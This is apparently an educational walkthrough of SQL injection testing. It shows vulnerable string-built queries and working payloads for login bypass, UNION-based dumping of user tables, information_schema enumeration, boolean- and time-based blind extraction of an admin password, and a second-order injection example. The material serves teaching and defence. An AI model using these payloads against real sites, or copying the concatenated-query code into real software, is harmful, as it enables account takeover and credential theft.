SQL Injection Testing
Your Database Just Answered A Question It Should Not Have

// Your login form sends this to the server:
// Username: admin
// Password: password123

// Your code builds this query:
const query = "SELECT * FROM users WHERE username = '" 
  + username + "' AND password = '" + password + "'";

// Result: SELECT * FROM users WHERE username = 'admin' 
//         AND password = 'password123'
// Works as expected.

// Now the attacker enters:
// Username: admin' --
// Password: (anything)

// Your code builds:
const query = "SELECT * FROM users WHERE username = 'admin' --' 
  AND password = 'anything'";

// The -- comments out everything after it!
// Database sees: SELECT * FROM users WHERE username = 'admin'
// Password check? Gone. Attacker is now logged in as admin.

// Even simpler attack:
// Username: ' OR '1'='1
// Password: ' OR '1'='1

// Result: WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'
// Both conditions are always true. Returns ALL users.
// Application logs attacker in as the first user (usually admin).

// Your product search query:
SELECT name, price FROM products WHERE category = '[user_input]'

// Normal usage - user searches "electronics":
SELECT name, price FROM products WHERE category = 'electronics'
// Returns: iPhone, $999; MacBook, $1299; etc.

// Attacker's input: ' UNION SELECT username, password FROM users --
SELECT name, price FROM products WHERE category = '' 
UNION SELECT username, password FROM users --'

// Now the "product search" returns:
// iPhone, $999
// MacBook, $1299
// admin, $2a$10$N9qo8uLOickgx2... (bcrypt hash)
// john.doe, $2a$10$XYZ...
// jane.smith, $2a$10$ABC...

// Attacker now has your entire user table.

// But first, they need to know the table and column names.
// Step 1: Find number of columns
' ORDER BY 1-- (works)
' ORDER BY 2-- (works) 
' ORDER BY 3-- (error - only 2 columns)

// Step 2: Find table names (MySQL example)
' UNION SELECT table_name, NULL FROM information_schema.tables --

// Step 3: Find column names
' UNION SELECT column_name, NULL FROM information_schema.columns 
  WHERE table_name = 'users' --

// Total time to dump database: 10-15 minutes

// Your application hides all database errors.
// No error messages, no stack traces, just generic responses.

// But the attacker can still ask questions:
// "Is the first character of the admin password 'a'?"

// Normal product URL:
https://shop.com/product?id=5
// Returns: Product details

// Attacker's boolean-based test:
https://shop.com/product?id=5 AND 1=1
// Returns: Product details (condition TRUE - page loads normally)

https://shop.com/product?id=5 AND 1=2
// Returns: No product found (condition FALSE - different response)

// Now the attacker knows: SQL injection works here.
// Time to extract data character by character:

https://shop.com/product?id=5 AND (SELECT SUBSTRING(password,1,1) 
  FROM users WHERE username='admin') = 'a'
// No product? First char is NOT 'a'

https://shop.com/product?id=5 AND (SELECT SUBSTRING(password,1,1) 
  FROM users WHERE username='admin') = 'b'
// No product? First char is NOT 'b'

// ... continues through alphabet until:
https://shop.com/product?id=5 AND (SELECT SUBSTRING(password,1,1) 
  FROM users WHERE username='admin') = 's'
// Product shows! First char IS 's'

// Repeat for each character. Automated tools like SQLmap 
// can extract a full password hash in minutes.

// Your application shows the SAME response regardless of query result.
// No content difference, no error messages, nothing visible changes.

// But timing cannot be hidden:

// Test if injection works:
https://shop.com/product?id=5; WAITFOR DELAY '0:0:5'--
// (SQL Server syntax)

// Or for MySQL:
https://shop.com/product?id=5 AND SLEEP(5)--

// Response takes 5 seconds? Injection confirmed.
// Response is instant? Not vulnerable (or wrong syntax).

// Now extract data through time:
// "If first char of admin password is 'a', wait 5 seconds"

https://shop.com/product?id=5 AND IF(
  SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',
  SLEEP(5),
  0
)--

// Response instant: First char is NOT 'a'
// Response delayed 5 seconds: First char IS 'a'

// Binary search makes this faster:
// "If first char ASCII value > 109 (letter 'm'), delay"
// Narrows down each character in ~7 queries instead of 26+

// Complete password extraction time: 20-30 minutes
// Completely invisible to application logs (no errors)

// Step 1: User registration (input is sanitized for THIS query)
// Attacker registers with username: admin'--

INSERT INTO users (username, email) 
VALUES ('admin''--', 'attacker@evil.com')  
// Properly escaped! Single quote doubled. Stored safely.

// Database now contains a user with literal username: admin'--

// Step 2: Weeks later, password reset feature
// Developer assumes data in database is already "clean"

function resetPassword(email) {
  const user = await db.query(
    "SELECT * FROM users WHERE email = ?",  // Parameterized! Good!
    [email]
  );
  
  // But then they build this query with the retrieved username:
  const resetLog = await db.query(
    "INSERT INTO password_resets (username, token) " +
    "VALUES ('" + user.username + "', '" + token + "')"  // OOPS
  );
}

// When attacker's account requests password reset:
INSERT INTO password_resets (username, token) 
VALUES ('admin'--', 'xyz123')

// The injection fires! The '--' comments out the rest.
// Depending on the query, attacker might:
// - Reset another user's password
// - Inject additional queries
// - Extract data through error messages

// The vulnerability exists in code that NEVER touches user input directly.
// It trusts data from the database.